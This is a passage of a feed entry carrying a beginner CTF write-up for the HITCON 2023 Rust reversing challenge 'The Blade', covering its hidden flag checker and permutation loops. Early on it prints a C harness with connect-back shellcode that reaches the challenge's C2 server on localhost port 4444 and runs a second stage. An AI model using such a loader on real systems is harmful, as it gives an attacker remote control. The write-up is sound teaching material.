&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>types</category>
        
          <category>python</category>
        
          <category>tutorial</category>
        
          <category>reverse</category>
        
          <category>programming-languages</category>
        
          <category>metaprogramming</category>
        
          <category>oop</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HITCON 2023 – The Blade</title>
        <description>Beginner-friendly writeup for a nifty Rust reversing challenge.</description>
        <link href="https://trebledj.me/posts/hitcon-2023-the-blade/"/>
        <updated>2023-09-20T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hitcon-2023-the-blade/</id>
        <content xml:lang="en" type="html">&lt;p&gt;My first Rust &lt;a class=&quot;jtag&quot; href=&quot;https://trebledj.me/tags/reverse/&quot;&gt;rev&lt;/a&gt; solve! Though in hindsight, not much Rust knowledge was needed.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://github.com/wxrdnx&quot;&gt;wxrdnx&lt;/a&gt;&lt;br /&gt;
40/683 solves.&lt;/p&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;h3 id=&quot;running-the-server&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Running the Server&lt;/h3&gt;
&lt;p&gt;Let’s start by running the binary. We can get a feel by navigating the program with &lt;code&gt;help&lt;/code&gt; and other commands.&lt;/p&gt;
&lt;p&gt;Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.&lt;/p&gt;
&lt;p&gt;Anyhow, we can start the server with:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;server
run&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We’re told to run some shellcode on the “client”. By default, this starts a connection to &lt;code&gt;localhost:4444&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A simple alternative is to run &lt;code&gt;nc localhost 4444&lt;/code&gt; (on a separate shell). This will initiate a connection to the server, but it won’t have the same effect as the shellcode.&lt;/li&gt;
&lt;li&gt;To run the shellcode, we can compile a simple C program containing the shellcode and execute it.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; shellcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xeb&#92;x10&#92;x31&#92;xc0&#92;x53&#92;x5f&#92;x49&#92;x8d&#92;x77&#92;x10&#92;x48&#92;x31&#92;xd2&#92;x80&#92;xc2&#92;xff&#92;x0f&#92;x05&#92;x6a&#92;x29&#92;x58&#92;x99&#92;x6a&#92;x02&#92;x5f&#92;x6a&#92;x01&#92;x5e&#92;x0f&#92;x05&#92;x50&#92;x5b&#92;x48&#92;x97&#92;x68&#92;x7f&#92;x00&#92;x00&#92;x01&#92;x66&#92;x68&#92;x11&#92;x5c&#92;x66&#92;x6a&#92;x02&#92;x54&#92;x5e&#92;xb2&#92;x10&#92;xb0&#92;x2a&#92;x0f&#92;x05&#92;x4c&#92;x8d&#92;x3d&#92;xc5&#92;xff&#92;xff&#92;xff&#92;x41&#92;xff&#92;xe7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;shellcode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Compile with:&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// gcc main.c  -fno-stack-protector -z execstack &amp;amp;&amp;amp; gdb ./a.out&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After running, then what? The commands don’t seem to reveal much, and at this point it’s a bit guessy. Time to turn to a decompiler.&lt;/p&gt;
&lt;h3 id=&quot;identifying-interest-points&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#identifying-interest-points&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Identifying Interest Points&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;What command triggers the flag checker?&lt;/li&gt;
&lt;li&gt;Where is the flag processed?&lt;/li&gt;
&lt;li&gt;How is the flag processed?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to the description, the program contains a flag checker. So presumably we pass the flag as input at some point. But &lt;em&gt;where&lt;/em&gt; and &lt;em&gt;how&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;By running &lt;code&gt;strings&lt;/code&gt;, we find an interesting set of strings: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt;, &lt;code&gt;?help&lt;/code&gt;, &lt;code&gt;?exit&lt;/code&gt;, &lt;code&gt;?quit&lt;/code&gt;. This pattern can’t be a coincidence.&lt;/p&gt;
&lt;p&gt;In your favourite decompiler, do a search for the bytes &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt;. If you can’t find it, try playing with endian settings. This should lead you to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;seccomp_shell::shell::prompt()&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Under a condition checking for flag, we’re led to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;seccomp_shell::shell::verify()&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Although strings shows &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt; as the full string, the actual string is just &lt;code&gt;flag&lt;/code&gt;. Questionable, no? This is because the byte before &lt;code&gt;flag&lt;/code&gt; happens to be &lt;code&gt;&#92;x22&lt;/code&gt; (i.e. &lt;code&gt;?&lt;/code&gt;). &lt;code&gt;strings&lt;/code&gt; doesn’t know better, because it doesn’t actually disassemble the program.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So how is the flag actually processed? This requires a careful study of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;verify()&lt;/code&gt;&lt;/span&gt;, with a touch of dynamic analysis and experimentation.&lt;/p&gt;
&lt;p&gt;Like most flag checkers, it turns out we just pass the flag as input (alongside the &lt;code&gt;flag&lt;/code&gt; command).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;flag hitcon{test_flag}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And like most flag checkers, we’re immediately hit with “&lt;em&gt;Incorrect&lt;/em&gt;”.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;We also get some hints about the flag&#39;s length...&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;...by glancing at the start of &lt;code&gt;verify()&lt;/code&gt;...&lt;/p&gt;
&lt;p&gt;...&lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;64&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;param_3 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	auVar27 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;incorrect/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; auVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When we try sending a flag 64-bytes long, we get something on our other shell. We&#39;re not immediately hit with an &amp;quot;&lt;em&gt;Incorrect&lt;/em&gt;&amp;quot;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;flag hitcon{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;reversing-the-encryption&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#reversing-the-encryption&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Reversing the Encryption&lt;/h3&gt;
&lt;p&gt;Time to play the UNO reverse card on this binary!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are 3 parts to the encryption. What addresses do they begin and end?&lt;/li&gt;
&lt;li&gt;What is each part doing?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s recognise some high level patterns.&lt;/p&gt;
&lt;p&gt;It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.&lt;/p&gt;
&lt;p&gt;There are the 3 parts to the encryption:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Part 1 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;112d10&lt;/code&gt; – &lt;code&gt;113017&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Part 2 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;113020&lt;/code&gt; – &lt;code&gt;11309c&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Part 3 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;11310e&lt;/code&gt; – &lt;code&gt;1133a5&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The procedure is roughly:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; _ &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
	part1&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
	part2&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

part3&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; interesting_data_a7516852&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;1-reversing-the-permutation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#1-reversing-the-permutation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 1. Reversing the Permutation&lt;/h3&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Even cats can catch sneaky permutations!&quot; href=&quot;https://trebledj.me/img/giphy-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/giphy-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 281&quot; alt=&quot;Even cats can catch sneaky permutations!&quot; title=&quot;Even cats can catch sneaky permutations!&quot; srcset=&quot;https://trebledj.me/img/giphy-256w.webp 256w, https://trebledj.me/img/giphy-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Address: &lt;code&gt;112d10&lt;/code&gt; – &lt;code&gt;113017&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eight loops, doing pretty much the same thing. Let’s focus on the first one.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token function&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;some_buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;SOME_ADDRESS&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
n &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
puVar21 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ulong &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;some_buffer_offset_by_4&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; puVar21&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x3f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; uVar23&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;goto&lt;/span&gt; panic&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	uVar1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// __ptr :: char[]&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	
	uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; puVar21&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x3f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; uVar23&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;goto&lt;/span&gt; panic&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	uVar1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	
	puVar21 &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	n &lt;span class=&quot;token operator&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(Some variables are renamed for clarity.)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Does this look familiar?&lt;/p&gt;
&lt;p&gt;It’s good ol’ swap! (Though slightly &lt;a href=&quot;https://en.wikipedia.org/wiki/Loop_unrolling&quot;&gt;&lt;em&gt;unrolled&lt;/em&gt;&lt;/a&gt;.) There are eight of these loops, the only difference being the &lt;code&gt;memcpy&lt;/code&gt; source.&lt;/p&gt;
&lt;p&gt;So how do we reverse this? Generally, there are two approaches to take:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static analysis. This means we reverse the binary by looking at the bytecode, assembly, decompiler, etc. We don&#39;t run or emulate anything.&lt;/li&gt;
&lt;li&gt;Dynamic analysis. In this approach, we observe the program&#39;s behaviour by running it. Common tools are &lt;code&gt;gdb&lt;/code&gt;, &lt;code&gt;strace&lt;/code&gt;, and &lt;code&gt;ltrace&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Approaching this statically seems faster, but integer semantics may get lost in translation. Our conclusion may be unstable.&lt;/p&gt;
&lt;p&gt;Thus, for fun (and practice), we&#39;ll go the dynamic route. Let&#39;s insert some breakpoints, input our flag of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;64 unique characters (e.g. Base64 alphabet)&lt;/span&gt;, grab the permuted string, and construct a mapping.&lt;/p&gt;
&lt;p&gt;In GDB:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span 